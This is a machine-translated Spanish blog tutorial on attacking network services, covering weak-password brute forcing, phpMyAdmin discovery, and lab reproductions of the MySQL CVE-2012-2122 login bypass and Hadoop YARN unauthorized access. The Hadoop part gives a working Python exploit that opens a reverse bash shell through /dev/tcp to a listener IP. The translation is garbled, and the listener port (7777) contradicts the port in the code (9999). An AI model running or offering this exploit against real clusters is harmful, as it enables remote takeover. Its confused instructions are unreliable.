Servicio de ataque y defensa-seguridad de la base de datos-problemas de seguridad de la aplicación del servicio y proceso de prueba-Mysql y Hadoop y acceso no autorizado y recurrencia de vulnerabilidad de RCE

Tabla de contenido

1. Problemas de seguridad de las aplicaciones de servicio

1. Configuración incorrecta: acceso no autorizado

2. Mecanismo de seguridad: vulnerabilidades de seguridad específicas

3. Mecanismo de seguridad: ataque de voladura de contraseña débil

2. Ideas de pruebas de seguridad para aplicaciones de servicio

1. Determinar si el servicio está abierto

2. Determinar el tipo de servicio

3. Determinar el método de uso

3. Explotación de Mysql-Acceso no autorizado-CVE-2012-2122

1. Visión general de la vulnerabilidad

2. Recurrencia de la vulnerabilidad

3. Puntos de conocimiento complementarios

4. Comando de cooperación incorporado de acceso no autorizado de Hadoop para ejecutar RCE

1. Introducción a Hadoop

2. Recurrencia de la vulnerabilidad


1. Problemas de seguridad de las aplicaciones de servicio

1. Configuración incorrecta: acceso no autorizado

        Cuando la otra parte crea la aplicación de servicio, se usa la configuración predeterminada o algunas configuraciones de seguridad se modifican por sí mismas, lo que genera una configuración incorrecta y algunos problemas de seguridad.

        Uno de los más comunes es el acceso no autorizado debido a una configuración incorrecta.

2. Mecanismo de seguridad: vulnerabilidades de seguridad específicas

        El acceso no autorizado generalmente se debe a una configuración incorrecta, es decir, no hay ningún problema con el software en sí, y el mecanismo de seguridad es principalmente un problema con el software o el servicio de la aplicación en sí, que no tiene nada que ver con la configuración. 

3. Mecanismo de seguridad: ataque de voladura de contraseña débil

        Algunos servicios usan la verificación de contraseña para juzgar si el servicio está iniciado o deshabilitado. Por ejemplo, hay algunos usuarios en la base de datos integrada en la base de datos, incluidos números de cuenta y contraseñas. Si el número de cuenta y la contraseña establecidos son demasiado simples, entonces el atacante Puede obtener el número de cuenta y la contraseña adivinando contraseñas débiles y luego ingresar para realizar algunas pruebas de seguridad.

2. Ideas de pruebas de seguridad para aplicaciones de servicio

1. Determinar si el servicio está abierto

        Porque estamos hablando del problema de seguridad del servicio, es decir, si el servicio actual no existe, entonces definitivamente no existirá el problema de seguridad del servicio actual, y no hay necesidad de seguir probando.

  • escaneo de puertos

        Se pueden usar herramientas como nmap. El principio es que si el servicio desea abrirse, se debe abrir un puerto correspondiente. La mayoría de estos puertos son predeterminados, lo que significa que se puede juzgar si un servicio está abierto en función de la número de puerto. Por ejemplo, el número de puerto predeterminado de la base de datos mysql es 3306; el número de puerto predeterminado de la base de datos Oracle es 1521; el número de puerto predeterminado de la base de datos del servidor sql es 1433; el número de puerto predeterminado de la base de datos Redis es 6379.

        Por supuesto, el usuario también puede modificar el número de puerto, pero generalmente no se modificará.

        Pero hay un caso especial, el servicio está claramente abierto, pero el puerto no está abierto, ¿por qué?

        Tres razones:

        (1) Está en la intranet (motivo principal).

                Debido a que sus servicios se colocan en el host de la intranet, muchos servicios (puertos) se abren en la intranet, como la web y la base de datos, pero solo asigna la web a la red externa, por lo que solo podemos ver que sus servicios están en la red externa. La red está habilitada, pero al escanear, solo escaneamos el host de red, y el host de red reenviará los datos a la intranet para su procesamiento, por lo que no podemos detectar la apertura del puerto de servicio correspondiente.

        (2) El puerto se modifica (menos probable).

        (3) Protección contra interferencias de aplicaciones.

  • Adivinanza combinada

        Es decir, necesitamos saber que, por ejemplo, si existe el servicio A, existe una alta posibilidad de que exista el servicio B.

  • Fuentes de información

        Hay algunos servicios que devolverán algunos informes de error o avisos durante nuestras pruebas de seguridad, y luego podemos saber que hay ciertos servicios basados ​​en esto.

2. Determinar el tipo de servicio

        Determine qué servicios existen según el tipo de servicio y luego determine qué problemas de seguridad pueden existir y cómo aprovechar los problemas de seguridad existentes.

  • base de datos
  • transferencia de archivos
  • control remoto

        Por ejemplo, el protocolo de escritorio remoto (RDP) que se usa para conectarse de forma remota al sistema Windows usa el puerto TCP 3389. El sistema Linux puede utilizar el protocolo SSH (Secure Shell) para acceso y control remoto, y el puerto TCP utilizado es el 22. Al conectarse, debe ingresar el número de cuenta y la contraseña correctos. Este es el punto clave en este proceso. Si obtiene el número de cuenta y la contraseña, el atacante puede conectarse directamente, lo que equivale a derribar el servidor. Los atacantes pueden usar la voladura de contraseñas para atacar.

  • comunicación de datos

3. Determinar el método de uso

        Es usar los servicios existentes y los tipos de servicios que juzgamos anteriormente para determinar cómo usar los posibles problemas de seguridad para continuar con el siguiente paso.

  • Vulnerabilidades de características

        Úselo de acuerdo con los problemas de seguridad del propio servicio.

  • Acceso no autorizado

       La configuración de la aplicación de servicio de la otra parte es incorrecta y puede haber un acceso no autorizado.

  • Explosión de contraseñas débiles

        Cuando se trata de contraseñas de cuentas, puede usar la explosión de contraseñas de cuentas para adivinar.

3. Explotación de Mysql-Acceso no autorizado-CVE-2012-2122

1. Visión general de la vulnerabilidad

  • Versión afectada:
    • Las versiones de MariaDB de 5.1.62, 5.2.12, 5.3.6, 5.5.23 no lo son.
    • Las versiones de MySQL de 5.1.63, 5.5.24, 5.6.6 no lo son.
  • Descripción de la vulnerabilidad:

        Al conectarse a MariaDB/MySQL, la contraseña ingresada se compara con la contraseña correcta esperada. Debido a un manejo incorrecto, incluso si memcmp() devuelve un valor distinto de cero, MySQL pensará que las dos contraseñas son iguales. Es decir, siempre que sepa el nombre de usuario, puede iniciar sesión en la base de datos SQL directamente si sigue intentándolo. Según el anuncio, alrededor de 256 veces se puede engañar una vez.

2. Recurrencia de la vulnerabilidad

        Inicie el entorno primero.

        Encuentre una interfaz de escaneo en Internet para escanear los puertos abiertos del entorno e ingrese la ip en la posición que se muestra en la figura a continuación.

        Los resultados de la sonda se muestran en la siguiente figura. Puede ver que el puerto 3306 está abierto, por lo que podemos saber que existe el servicio mysql.  

        A continuación, juzgaremos si existe la vulnerabilidad escrita anteriormente, simplemente ejecute el siguiente comando.

        Después de ejecutar el comando que se muestra en la figura de arriba, el efecto se muestra en la figura de abajo, puede ver que debido a que la contraseña es incorrecta, el error se informa todo el tiempo, pero en un momento determinado, el error no se vuelve a informar, pero ingresado directamente en la base de datos.

3. Puntos de conocimiento complementarios

        La configuración predeterminada de mysql solo puede iniciar sesión en el usuario raíz de forma local, y la solicitud de conexión remota se rechaza, por lo que no podemos realizar una voladura de contraseñas porque ni siquiera podemos conectarnos.

        Por lo tanto, solo podemos usar algo como phpMyAdmin para adivinar, ya que pertenece a una aplicación de administración de bases de datos de terceros, que está integrada en el servidor de la otra parte, por lo que podemos usarla para iniciar sesión en la base de datos. los datos se envían de local a local, por lo que es posible probar.

        Entonces, ¿cómo juzgar si phpMyAdmin existe en el sitio web? Puede usar un navegador para visitar el sitio web e intentar ingresar el siguiente contenido en la barra de direcciones URL (también puede usar la herramienta de escaneo de directorios para escanear directamente y ver si hay caminos):

  • /phpmyadmin
  • /pma
  • /miadministrador
  • /mysql

        Si ve la página de inicio de sesión de phpMyAdmin, es muy probable que phpMyAdmin exista para el sitio y pueda iniciar sesión con las credenciales de inicio de sesión predeterminadas.

        Si ve una página de error 404, es probable que phpMyAdmin no exista para el sitio o que se haya movido a una ubicación diferente.

        Tenga en cuenta, sin embargo, que incluso si una de las URL anteriores no está visible, no se puede descartar por completo la posibilidad de que phpMyAdmin esté presente en el sitio. Los administradores pueden haber cambiado el nombre o movido phpMyAdmin a una ubicación diferente para evitar la detección, por lo que se deben realizar controles de seguridad adicionales al evaluar la seguridad de un sitio web.

4. Comando de cooperación incorporado de acceso no autorizado de Hadoop para ejecutar RCE

1. Introducción a Hadoop

        Hadoop es una plataforma informática distribuida de código abierto para procesar conjuntos de datos a gran escala. Proporciona almacenamiento distribuido y capacidades de procesamiento distribuido, y puede realizar un procesamiento de datos eficiente en clústeres de servidores a gran escala.

        Por lo general, se usa para procesar conjuntos de datos a gran escala, como análisis de datos, minería de datos, aprendizaje automático y otros escenarios de aplicación. Su filosofía de diseño es lograr un procesamiento de datos eficiente mediante la división de datos a gran escala en múltiples bloques de datos y el procesamiento de estos bloques de datos en paralelo en múltiples nodos informáticos.

        Las configuraciones de puerto comúnmente utilizadas son las siguientes (generalmente nos fijamos principalmente en el puerto 50010): 

2. Recurrencia de la vulnerabilidad

        Una vez en el rango, seleccione "Hadoop" en las opciones de la base de datos.

        Inicie el entorno.

        Vaya a la dirección proporcionada por el rango.

        Visite la página /cluster/apps: (La existencia de esta página indica que existe una vulnerabilidad de acceso no autorizado).

        Usa la siguiente experiencia oficial para revertir el caparazón.

#!/usr/bin/env python

import requests

target = 'http://123.58.236.76:31367/' # 将这里更改为目标主机地址,监听端口为9999
lhost = '47.94.236.117' # 输入你的ip地址(外网反弹地址)在这里,是用来接收shell的回连地址,监听端口为9999

url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {
    'application-id': app_id,
    'application-name': 'get-shell',
    'am-container-spec': {
        'commands': {
            'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,
        },
    },
    'application-type': 'YARN',
}
requests.post(url, json=data)

        Cree un archivo py en el escritorio para guardar la experiencia anterior.

        Ingrese el siguiente comando para comenzar a escuchar en el puerto 7777.

        Ingrese cmd e ingrese el siguiente comando para ejecutar el exp recién creado.

        Puede ver que el rebote se recibió con éxito.


Artículo siguiente: https://blog.csdn.net/weixin_62808713/article/details/130451511


Supongo que te gusta

Origin blog.csdn.net/weixin_62808713/article/details/130444142
Recomendado
Clasificación